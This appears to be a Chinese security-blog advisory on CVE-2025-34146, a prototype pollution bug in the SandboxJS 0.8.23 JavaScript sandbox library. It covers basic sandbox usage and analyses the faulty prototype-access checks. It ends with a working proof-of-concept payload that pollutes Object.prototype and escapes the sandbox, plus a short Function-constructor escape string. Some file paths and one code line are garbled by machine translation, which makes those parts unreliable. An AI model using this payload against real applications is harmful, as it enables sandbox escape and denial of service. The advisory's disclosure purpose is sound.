首页 网络安全 正文
  • 本文约3203字,阅读需16分钟
  • 14
  • 0

SandboxJS中的原型污染漏洞CVE-2025-34146

摘要

栋科技漏洞库关注到SandboxJS 0.8.23版本被发现包含一个原型污染漏洞,漏洞现已被追踪为CVE-2025-34146,漏洞的CVSS评分为7.0。

沙箱(Sandbox)指将一段代码置于一个与外部环境隔离的执行环境中运行,确保这段代码不会污染全局环境,同时也不被外部环境影响。

沙箱(Sandbox)在计算机安全中是用于隔离正在运行程序的安全机制,就像个封闭房间,通常用于执行未经测试或不受信任程序或代码。

一、基本情况

SandboxJS是一个用于隔离执行JavaScript代码的库,是JavaScript沙箱环境库,旨在提供安全的执行环境以防止恶意代码应用程序中肆虐。

SandboxJS中的原型污染漏洞CVE-2025-34146

SandboxJS可防止代码干扰外部程序或访问敏感资源,用于微前端架构、插件系统等场景,旨在通过独立环境安全运行不受信任代码片段。

栋科技漏洞库关注到SandboxJS 0.8.23版本被发现包含一个原型污染漏洞,漏洞现已被追踪为CVE-2025-34146,漏洞的CVSS评分为7.0。

二、漏洞分析

CVE-2025-34146漏洞位于SandboxJS 0.8.23版本,这一原型污染漏洞可能导致拒绝服务(DoS),并可能通过注入任意属性来逃离沙盒。

漏洞源于沙盒执行器逻辑中原型访问检查不足,特别是在处理返回的JavaScript函数对象方面,使攻击者通过特制代码实现任意属性注入。

在一个JavaScript沙盒库,在应用(无论是基于Web还是Node.js)中嵌入任何类型JavaScript代码时,实际是在授予整个kingdom访问权限。

通常情况下,我们希望依赖项中没有恶意代码,例如供应链攻击,因此,为了保护代码的正常运行,我们通常都会需要使用到沙盒化运作。

但在JavaScript环境中有许多全局范围的易受攻击的模块,若允许包含第三方代码,访问这些模块非常容易,通过eval或Function全局变量。

举个例子,代码如下:

[].filter.constructor("alert('jailpeak')")()

比较糟糕的是,将函数列入黑名单是极其困难的,因为代码很容易混淆,例如可以仅使用如下代码

(, ), [, ], !, and +. (source)
[+!+[]]+[] // This evaluates to the number one, go a head type that in console

SandboxJS通过解析js代码并在自己的js运行时执行它来解决这个问题,同时在这个过程中检查正在调用的每个原型函数。

这允许将任何东西都列入白名单,而不管混淆。

这意味着您可能会给不同的库不同的权限,例如允许一个库使用fetch(),或允许另一个库访问Node原型,具体取决于库的要求

仅此而已,从沙箱中获取的任何对象在沙箱外部使用时都将保持沙箱状态。

此外,eval和Function也是沙盒的,可以安全地递归使用,这就是为什么它们在SandboxJS中被认为是安全的全局变量。

如果你需要知道给某个库什么权限,有一种审计方法可以在运行时返回所有访问的函数和原型。

由于解析和执行是分开的,使用SandboxJS执行有时甚至比eval更快,从而可以提前准备执行代码。

以下是使用SandboxJS的最基本代码。这假设列出默认值时是安全的。

const code = `return myTest;`;
const scope = { myTest: "hello world" };
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
const result = exec(scope).run(); // result: "hello world"

如果您重用具有多个层的作用域,则可以定义多个作用域。

const sandbox = new Sandbox();

const scopeA = {a: 1};
const scopeB = {b: 2};
const scopeC = {c: 3};

const code = `a = 4; let d = 5; let b = 6`;
const exec = sandbox.compile(code);
exec(scopeA, scopeB, scopeC).run();

console.log(scopeA); // {a: 4}
console.log(scopeB); // {b: 2}
console.log(scopeC); // {c: 3, d: 5, b: 6}

您可以设置自己的while listed原型和全局属性,如下所示(alert and Node are added to whitelist in the following code):

const原型白名单=沙盒。安全原型;

const prototypeWhitelist = Sandbox.SAFE_PROTOTYPES;

prototypeWhitelist.set(Node, new Set());

const globals = {...Sandbox.SAFE_GLOBALS, alert};

const sandbox = new Sandbox({globals, prototypeWhitelist});

您可以审计一段代码,这将允许所有全局变量和原型,但随着时间的推移,将返回一个包含访问的全局变量和模型的json。

const code = `console.log("test")`;
console.log(Sandbox.audit(code));

1、原型访问检查

SandboxJS在dist/node/deexecutor.js#L226中执行原型访问检查。sub.sub返回sub.sub函数。

当SandboxJS使用sub.sub的__proto__进行检查时,由于sub_subo__的类型是函数,它将转到分支dist/executer.js#L225。

__proto__的hasOwnProperty返回false,因此没有捕获SandboxError。

类似地,在检查原型__proto__访问“”__proto_期间没有捕获到SandboxError。

同样地,有效载荷用(()=>“”)代替“”可以很好地工作,而有效载荷不能用{}工作。

__proto__,因为它不是一个函数,属于分支dist/exexecutor.js#L238,无法绕过白名单

2、沙盒函数/对象

SandboxJS使用Regex来检测代码dist/node/paparser.js#L261-263中声明的任何函数,并将其替换为沙盒版本dist/executer.js#L26。

由于payload{}.constructor.constructor(“return true”)未被任何正则表达式捕获,因此在沙盒函数中执行executeTree时未定义作用域,

因此可以在没有任何错误的情况下执行。

三、POC概念验证

var Sandbox = require("@nyariv/sandboxjs").default;

var victim = {}
console.log("Before Attack: ", JSON.stringify(victim.__proto__));

const code = `
"".sub.__proto__.__proto__.__defineGetter__('polluted', {}.constructor.constructor("return true"));
`;
const scope = { myTest: "test" };
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
const result = exec(scope).run(); 

console.log("After Attack: ", JSON.stringify(victim.__proto__));

四、影响范围

SandboxJS <= 0.8.23

五、修复建议

SandboxJS > 0.8.23

六、参考链接

 

管理员已设置登录后刷新可查看



扫描二维码,在手机上阅读
评论
更换验证码
友情链接